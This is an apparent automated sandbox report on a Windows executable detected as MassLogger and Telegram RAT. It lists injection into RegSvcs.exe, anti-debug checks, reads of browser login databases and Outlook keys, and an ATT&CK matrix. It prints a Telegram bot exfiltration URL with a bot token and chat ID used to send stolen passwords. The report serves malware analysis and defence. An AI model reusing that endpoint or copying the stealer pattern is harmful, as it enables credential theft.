Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007660DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	1_2_007660DD
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007663F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	1_2_007663F9
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0076EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	1_2_0076EB60
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0076F56F FindFirstFileW,FindClose,	1_2_0076F56F
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0076F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	1_2_0076F5FA
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00771B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00771B2F
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00771C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00771C8A
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00771F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	1_2_00771F94

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0073DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

1_2_0073DDC0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598498	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597155	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596115	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595948	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595841	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594399	Jump to behavior

Source: VIAmJUhQ54.exe, 00000001.00000002.1289024763.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, VIAmJUhQ54.exe, 00000001.00000003.1263889264.0000000000D9D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QeMu6
Source: RegSvcs.exe, 00000008.00000002.3713666408.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

API call chain: ExitProcess graph end node

graph_1-87101

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00776AAF BlockInput,

1_2_00776AAF

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00723D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

1_2_00723D19

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00753920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

1_2_00753920

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0073E01E LoadLibraryA,GetProcAddress,

1_2_0073E01E

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00F07268 mov eax, dword ptr fs:[00000030h]	1_2_00F07268
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00F07208 mov eax, dword ptr fs:[00000030h]	1_2_00F07208
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00F05BB8 mov eax, dword ptr fs:[00000030h]	1_2_00F05BB8

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0075A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

1_2_0075A66C

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007481AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_007481AC
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00748189 SetUnhandledExceptionFilter,		1_2_00748189

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 879008

Jump to behavior

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0075B106 LogonUserW,

1_2_0075B106

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00723D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

1_2_00723D19

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0076411C SendInput,keybd_event,

1_2_0076411C

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_007674E7 mouse_event,

1_2_007674E7

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\VIAmJUhQ54.exe"

Jump to behavior

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

1_2_0075A66C

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_007671FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

1_2_007671FA

Source: VIAmJUhQ54.exe	Binary or memory string: Shell_TrayWnd
Source: VIAmJUhQ54.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_007465C4 cpuid

1_2_007465C4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0077091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

1_2_0077091D

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0079B340 GetUserNameW,

1_2_0079B340

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00751E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_00751E8E

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0073DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

1_2_0073DDC0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VIAmJUhQ54.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7336, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VIAmJUhQ54.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7336, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: VIAmJUhQ54.exe	Binary or memory string: WIN_81
Source: VIAmJUhQ54.exe	Binary or memory string: WIN_XP
Source: VIAmJUhQ54.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
Source: VIAmJUhQ54.exe	Binary or memory string: WIN_XPe
Source: VIAmJUhQ54.exe	Binary or memory string: WIN_VISTA
Source: VIAmJUhQ54.exe	Binary or memory string: WIN_7
Source: VIAmJUhQ54.exe	Binary or memory string: WIN_8

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VIAmJUhQ54.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7336, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VIAmJUhQ54.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7336, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VIAmJUhQ54.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7336, type: MEMORYSTR

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00778C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	1_2_00778C4F
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0077923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	1_2_0077923B
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_007558C5 RpcBindingSetOption,_LocaleUpdate::_LocaleUpdate,_memset,WideCharToMultiByte,GetLastError,_memset,	1_2_007558C5

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	131 Security Software Discovery	SSH	3 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VIAmJUhQ54.exe	79%	ReversingLabs	Win32.Trojan.AutoitInject
VIAmJUhQ54.exe	69%	Virustotal		Browse
VIAmJUhQ54.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.80.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo/sendDocument?chat_id=6712961026&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org	RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	VIAmJUhQ54.exe, 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
http://reallyfreegeoip.org	RegSvcs.exe, 00000008.00000002.3714455601.0000000002B02000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002AD4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.microsoft.	RegSvcs.exe, 00000008.00000002.3715795244.0000000005F30000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo/sendDocument?chat_id=6712	RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	RegSvcs.exe, 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000008.00000002.3714455601.0000000002A61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot-/sendDocument?chat_id=	VIAmJUhQ54.exe, 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
